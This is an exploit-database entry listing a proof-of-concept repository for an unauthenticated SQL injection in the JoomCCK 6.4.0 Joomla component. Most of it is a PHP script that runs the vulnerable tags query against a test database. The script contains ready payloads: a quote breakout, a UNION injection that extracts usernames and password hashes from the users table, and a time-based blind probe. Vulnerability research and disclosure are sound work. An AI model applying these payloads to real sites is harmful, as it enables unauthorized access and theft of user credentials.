Exploit database

GH-a7384a5f911dcfbe2c648d185d4d59c3

kara-git/cve-2026-49048-joomcck-sqli

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-49048

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
kara-git/cve-2026-49048-joomcck-sqliRevision dafe4141cdff

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/poc.php

PHP · 3,042 bytes
<?php
/**
 * Live PoC — JoomCCK 6.4.0 unauth SQLi via task=tags.save (param `tag`).
 * Uses the REAL Joomla framework Input + InputFilter classes (the same code path
 * as $app->input->getString('tag') in components/com_joomcck/models/tags.php::_saveTag()),
 * then runs the EXACT query string _saveTag() builds against a live MariaDB.
 */
error_reporting(E_ERROR | E_PARSE); // silence PHP8.4 deprecations in old framework code

// --- PSR-4 autoloader for the downloaded real Joomla framework packages ---
spl_autoload_register(function ($class) {
    $map = [
        'Joomla\\Filter\\' => __DIR__ . '/filter-3.x-dev/src/',
        'Joomla\\Input\\'  => __DIR__ . '/input-3.x-dev/src/',
        'Joomla\\String\\' => __DIR__ . '/string-3.x-dev/src/',
    ];
    foreach ($map as $pfx => $dir) {
        if (strpos($class, $pfx) === 0) {
            $f = $dir . str_replace('\\', '/', substr($class, strlen($pfx))) . '.php';
            if (is_file($f)) require $f;
        }
    }
});
require __DIR__ . '/string-3.x-dev/src/phputf8/utf8.php'; // string helper bootstrap (if present)

function joomcck_getString($payload) {
    // Exactly what JoomCCK does: $app->input->getString('tag')
    $input = new Joomla\Input\Input(['tag' => $payload, 'id' => '1']);
    return $input->getString('tag');
}

function build_saveTag_select($tag) {
    // VERBATIM from components/com_joomcck/models/tags.php::_saveTag(), #__ -> jos_
    return ' SELECT a.* FROM jos_js_res_tags AS a WHERE a.tag = "' . $tag . '"';
}

$db = new mysqli('127.0.0.1', 'root', '', 'joomcck_poc');
if ($db->connect_errno) { fwrite(STDERR, "DB connect failed: {$db->connect_error}\n"); exit(1); }

echo str_repeat('=', 70) . "\n";
echo "JoomCCK 6.4.0 — task=tags.save  unauth SQLi  LIVE PoC\n";
echo str_repeat('=', 70) . "\n\n";

$cases = [
    'A. Benign input (baseline)'          => 'cars',
    'B. Quote-breakout probe'             => 'zzz" OR "1"="1',
    'C. UNION data exfiltration'          => 'zzz" UNION SELECT id,username,password FROM jos_users-- -',
    'D. Time-based blind (SLEEP 3s)'      => 'zzz" OR SLEEP(3)-- -',
];

foreach ($cases as $label => $payload) {
    echo "### $label\n";
    echo "    attacker tag param : $payload\n";
    $filtered = joomcck_getString($payload);            // <-- REAL Joomla getString
    echo "    after getString()  : $filtered\n";
    echo "    quote survived?    : " . (strpos($filtered, '"') !== false ? "YES (\" not escaped)" : "no") . "\n";
    $sql = build_saveTag_select($filtered);
    echo "    final SQL          : $sql\n";
    $t0 = microtime(true);
    $res = $db->query($sql);
    $dt  = microtime(true) - $t0;
    if ($res === false) {
        echo "    DB result          : ERROR => " . $db->error . "  (injection reached parser)\n";
    } else {
        $rows = $res->fetch_all(MYSQLI_ASSOC);
        echo "    DB rows returned   : " . count($rows) . "\n";
        foreach ($rows as $r) echo "      -> " . json_encode($r) . "\n";
    }
    echo "    query time         : " . round($dt, 3) . "s\n\n";
}